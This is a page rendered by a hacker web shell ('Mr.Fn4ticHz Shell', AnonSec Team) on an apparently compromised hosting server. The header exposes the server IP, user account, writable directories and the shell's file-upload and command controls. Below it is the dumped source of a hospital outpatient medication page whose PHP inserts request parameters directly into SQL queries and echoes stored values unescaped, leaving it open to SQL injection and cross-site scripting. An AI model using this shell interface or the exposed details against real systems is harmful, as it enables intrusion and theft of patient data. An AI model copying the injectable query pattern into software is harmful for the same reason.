Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.145.66.94
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/opdslip3.php
<?php
session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
if(isset($_POST[opdmedicine]))
{
		PatientManager::MedicineOPD("$_GET[prescriptionid]","$_GET[patientid]","$_POST[DRUGS]","$_POST[Dose]","$_POST[Route]","$_POST[Frequency]","$_POST[duration]","$_POST[potential]","$_POST[poa]","$_POST[status]","$_POST[Action]","$_POST[availability]","$_POST[batchno]","$_POST[st0]","$_POST[st1]","$_POST[st2]","$_POST[st3]","$_POST[st4]","$_POST[st5]","$_POST[drid]","$_POST[treatmentid]","$_POST[entered_by]");
	 }
	 if(isset($_POST[status]))
{ 
$sql ="UPDATE medicinede SET status='$_POST[status]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>
 window.history.go(-1)</script>";
     } 
    
}


?>
<!DOCTYPE html>
<html>  <head>
    <script>
    function selection(){
	var selected=document.getElementById("select1").value;
  if(selected==0){
  	document.getElementById("input1").removeAttribute("hidden");
  }else{
  	//elsewhere actions
  }
}
</script>
    <link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
  <link rel="stylesheet" href="/resources/demos/style.css">
    <title>Title of the document</title>
    <style>
      .modal {
        display: none;
        position: fixed;
        z-index: 8;
        left: 5%;
         right: 5%;
        top: 10%;
        width: 100%;
        height: 100%;
        overflow: auto;
        background-color: rgb(0, 0, 0);
        background-color: rgba(0, 0, 0, 0.4);
      }
      .modal-content {
        margin: 50px auto;
        border: 1px solid #999;
        width: 60%;
      }
      h2,p {
        margin: 0 0 20px;
        font-weight: 400;
  
      }     
     .form1 {
        padding: 25px;
        margin: 25px;
        box-shadow: 0 2px 5px #f5f5f5;
        background: #eee;
      }
      input,
      textarea, select {
        width: 100%;
        padding: 6px;
        margin-bottom: 20px;
        border: 1px solid #1c87c9;
        outline: none;
      }
      .contact-form button {
        width: 100%;
        padding: 10px;
        border: none;
        background: #1c87c9;
        font-size: 16px;
        font-weight: 400;
        color: #fff;
      }
      button:hover {
        background: #2371a0;
      }
      .close {
        color: #000000;
        float: right;
        font-size: 58px;
        font-weight: bold;
      }
      .close:hover,
      .close:focus {
        color: black;
        text-decoration: none;
        cursor: pointer;
      }
      button.button {
        display: inline-block;
       
        border-bottom: #02274a 1px solid;
     
        font-size: 19px;
        cursor: pointer;
      }
      
      button.button:hover {
    
        border-bottom: #a99567 1px solid;
        color: #a99567;
      }

 
    </style>
     <script src="https://code.jquery.com/jquery-1.12.4.js"></script>
  <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
  <script>
  $( function() {
    $.widget( "custom.combobox", {
      _create: function() {
        this.wrapper = $( "<span>" )
          .addClass( "custom-combobox" )
          .insertAfter( this.element );
 
        this.element.hide();
        this._createAutocomplete();
        this._createShowAllButton();
      },
 
      _createAutocomplete: function() {
        var selected = this.element.children( ":selected" ),
          value = selected.val() ? selected.text() : "";
 
        this.input = $( "<input>" )
          .appendTo( this.wrapper )
          .val( value )
          .attr( "title", "" )
          .addClass( "custom-combobox-input ui-widget ui-widget-content ui-state-default ui-corner-left" )
          .autocomplete({
            delay: 0,
            minLength: 0,
            source: $.proxy( this, "_source" )
          })
          .tooltip({
            classes: {
              "ui-tooltip": "ui-state-highlight"
            }
          });
 
        this._on( this.input, {
          autocompleteselect: function( event, ui ) {
            ui.item.option.selected = true;
            this._trigger( "select", event, {
              item: ui.item.option
            });
          },
 
          autocompletechange: "_removeIfInvalid"
        });
      },
 
      _createShowAllButton: function() {
        var input = this.input,
          wasOpen = false;
 
        $( "<a>" )
          .attr( "tabIndex", -1 )
          .attr( "title", "Show All Items" )
          .tooltip()
          .appendTo( this.wrapper )
          .button({
            icons: {
              primary: "ui-icon-triangle-1-s"
            },
            text: false
          })
          .removeClass( "ui-corner-all" )
          .addClass( "custom-combobox-toggle ui-corner-right" )
          .on( "mousedown", function() {
            wasOpen = input.autocomplete( "widget" ).is( ":visible" );
          })
          .on( "click", function() {
            input.trigger( "focus" );
 
            // Close if already visible
            if ( wasOpen ) {
              return;
            }
 
            // Pass empty string as value to search for, displaying all results
            input.autocomplete( "search", "" );
          });
      },
 
      _source: function( request, response ) {
        var matcher = new RegExp( $.ui.autocomplete.escapeRegex(request.term), "i" );
        response( this.element.children( "option" ).map(function() {
          var text = $( this ).text();
          if ( this.value && ( !request.term || matcher.test(text) ) )
            return {
              label: text,
              value: text,
              option: this
            };
        }) );
      },
 
      _removeIfInvalid: function( event, ui ) {
 
        // Selected an item, nothing to do
        if ( ui.item ) {
          return;
        }
 
        // Search for a match (case-insensitive)
        var value = this.input.val(),
          valueLowerCase = value.toLowerCase(),
          valid = false;
        this.element.children( "option" ).each(function() {
          if ( $( this ).text().toLowerCase() === valueLowerCase ) {
            this.selected = valid = true;
            return false;
          }
        });
 
        // Found a match, nothing to do
        if ( valid ) {
          return;
        }
 
        // Remove invalid value
        this.input
          .val( "" )
          .attr( "title", value + " didn't match any item" )
          .tooltip( "open" );
        this.element.val( "" );
        this._delay(function() {
          this.input.tooltip( "close" ).attr( "title", "" );
        }, 2500 );
        this.input.autocomplete( "instance" ).term = "";
      },
 
      _destroy: function() {
        this.wrapper.remove();
        this.element.show();
      }
    });
 
    $( "#combobox" ).combobox();
    $( "#toggle" ).on( "click", function() {
      $( "#combobox" ).toggle();
    });
  } );
  </script>
  </head>
  <body>
      
      
      <?php
include("dbconnection.php");
$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    echo"<input type='hidden' name='drid' value='$rs[Admitted_Under]'>";
$sql1 ="SELECT * FROM opdslip WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
{ 
    echo"<input type='hidden' name='treatmentid' value='$rs1[tratment]'>";
}
}
?>
<?php
session_start();
include("dbconnection.php");
require_once('../LoginManager.php');
require_once('../DBManager.php');


$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
		 $sql1 ="SELECT * FROM opdslip WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
{
$sql="select count('bedid') from medicinede WHERE drid='$rs[Admitted_Under]' AND  patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result);

$i=0;
$bed=$row[0];
while($i < $bed)
{
	        $sql21 ="SELECT * FROM medicinede WHERE  drid='$rs[Admitted_Under]' AND  patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
		$qsql21 = mysqli_query($con,$sql21);
		while($rh21 = mysqli_fetch_array($qsql21))
	
  {
if($i % 5 == 0)
{
echo"<br>";
}

echo"

<span><b>";
if (is_numeric($rh21[DRUGS]))
{
$sql1 ="SELECT * FROM medicine_stok WHERE medicine_id='$rh21[DRUGS]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
echo"$rh21[DRUGS]-$rs1[DRUGS_name]";
}
else
{
    echo"$rh21[DRUGS]";
    }
echo"$rh21[Dose]</b></span>,";
$i++;


}
}
}
}
?>
    <p align="right">
      <button class="button" data-modal="modalmedi"> Add Medication</button>
    </p>
           <table id="example2" class="table table-bordered table-hover">
                  <thead>
         
						<tr>
						    <th>Medication Details</th>
							<th>Action</th>
						</tr>
				
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM medicinede WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND status!='Remove'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
echo" <tr>";
 echo "<td>&nbsp;<b>Date & Time : </b>$rs[created_at]<br><b>Drug : </b>
 ";
 if (is_numeric($rs[DRUGS]))
{
$sql1 ="SELECT * FROM medicine_stok WHERE medicine_id='$rs[DRUGS]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
echo"$rs1[DRUGS_name]";
}
else
{
    echo"$rs[DRUGS]";
    }
echo" <br><b>Dose : </b>$rs[Dose]<br><b>Route : </b>$rs[Route]<br>"; echo "<b>Frequency :</b> ";
	   
switch ($rs[Frequency]) {
  case '01':
    echo "OD (Once Daily)";
    break;
      case '2':
    echo "BID/b.i.d. (twice a day)";
    break;
     case '3':
    echo "TID/t.id. (three times a day)";
    break;
     case '04':
    echo "QID/q.i.d. (four times a day)";
    break;
     case '1':
    echo "QHS (every bedtime)";
    break;
    
     case '6':
    echo "Q4h (every 4 hours)";
    break;
    
     case '4':
    echo "Q4-6h (every 4 to 6 hours)";
    break;
    
     case '0.143':
    echo "QWK (every week)";
    break;
    
        default:
    echo "";
} echo"<br><b>Duration : </b> $rs[duration]   ";
	   
switch ($rs[durationselect]) {
  case '1':
    echo "Days";
    break;
      case '7':
    echo "Week";
    break;
case '28':
    echo "Month";
    break;

        default:
    echo "";
}
echo"<br>
<b>Note :</b>$rs[potential]</td>";	

echo"

              		 <td>&nbsp;<a href='medication/$rs[potential]'>Edit</a>|<form method='post' action='opdset.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&id=$rs[id]' name='status'><input type='submit' name='status' Value='Remove'></form></td>
              					
          </tr>                   
          
          ";
}


?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
    <div id="modalmedi" class="modal">
      <div class="modal-content">
        <div class="contact-form">
          <a class="close">&times;</a>
                   <form class='form1' name="opdmedicine" method="post">

<?php
include("dbconnection.php");
$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    echo"<input type='hidden' name='drid' value='$rs[Admitted_Under]'>";
$sql1 ="SELECT * FROM opdslip WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql1 = mysqli_query($con,$sql1);
while($rs1 = mysqli_fetch_array($qsql1))
{ 
    echo"<input type='hidden' name='treatmentid' value='$rs1[tratment]'>";
}
}
?>

<label>Drug Name</label> <input onkeyup="this.value = this.value.toUpperCase();" onchange="drmdiload(this.value)"  name='DRUGS' type='text' list='DRUGS'>
<datalist name='DRUGS' id='DRUGS'>
 
				<?php
				session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
$sql ="SELECT * FROM medicine_stok WHERE admin_id='$re[entered_by]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " 
     <option value='$rs[medicine_id]'>$rs[DRUGS_name]-$rs[Dose]</option>
                   
          
          ";
}
}
?> 
  </datalist>	
<div id='divmedidr'>
						<label>Dose</label>
				
				<input type="text" placeholder="In mg" name="Dose" id="dose" class="form-control" />
						<label>Cotegory</label>
					<select onchange="cotegory(this.value)" class="form-control" name="Category" id="Category">
    <option value="" disabled selected>Category </option>
    <option value="Injectable">Injectable </option>
      <option value="IV Fluid">IV Fluid </option>
    <option value="Capsule">Capsule </option>
     <option value="Tablet">Tablet </option>
         <option value="Syrup">Syrup </option>
             <option value="Powder">Powder </option>
                         <option value="Ointment">Ointment</option>
                           <option value="Drop">Drop</option>
                                <option value="Solution">Solution</option>
                                    <option value="Patch">Patch</option>
    </select>
				</div>
			<label>Route</label>
				<select name="Route" id="Route" name="Route">
    <option value="" disabled selected>Route  </option>
    <option value="Orally">Orally</option>
    <option value="IV/IM">IV/IM</option>
    <option value="Sublingually/ Buccally">Sublingually/ Buccally</option>
    <option value="Vaginally">Vaginally</option>
    <option value="Ocular/Otic">Ocular/Otic </option>
    <option value="Nasally">Nasally</option>
    <option value="Inhalation/Nebulization">Inhalation/Nebulization</option>
    <option value="cutaneously/systemic">cutaneously/systemic</option>
    <option value="transdermally">transdermally</option>
	</select>
				<label>	Frequency</label>
				<select class="form-control"name="Frequency" id="Frequency" class="form-control">
    <option value="" disabled selected>Frequency  </option>
    <option value="01">OD (Once Daily)</option>
    <option value="2">BID/b.i.d. (twice a day)</option>
    <option value="3">TID/t.id. (three times a day)</option>
    <option value="04">QID/q.i.d. (four times a day)</option>
    <option value="1"> QHS (every bedtime) </option>
    <option value="6">Q4h (every 4 hours)</option>
    <option value="4">Q4-6h (every 4 to 6 hours)</option>
    <option value="0.143">QWK (every week)</option>
	</select>
	
		     	<div>
	    <label>Duration</label>
	    <input type="number" placeholder='In Days' name="duration">
	    	</div>
	
	    	    <label>Note</label>
	    <input type="text" placeholder="Instruction, Potential side effects, Food Intake" name="potential">
<input type="hidden" name="status" value="Active">
<input type="hidden" name="poa" value="Opd_Medicine" >
	
       <input type="submit" value="Add" name="opdmedicine">
      </form>
         
   </div>   </div>   </div>
   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 
            <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
    <script>
 function drmdiload(drmeid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divmedidr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drmeid="+drmeid,true);
        xmlhttp.send();
}
            
     
</script>
  </body>
</html>

Anon7 - 2022
AnonSec Team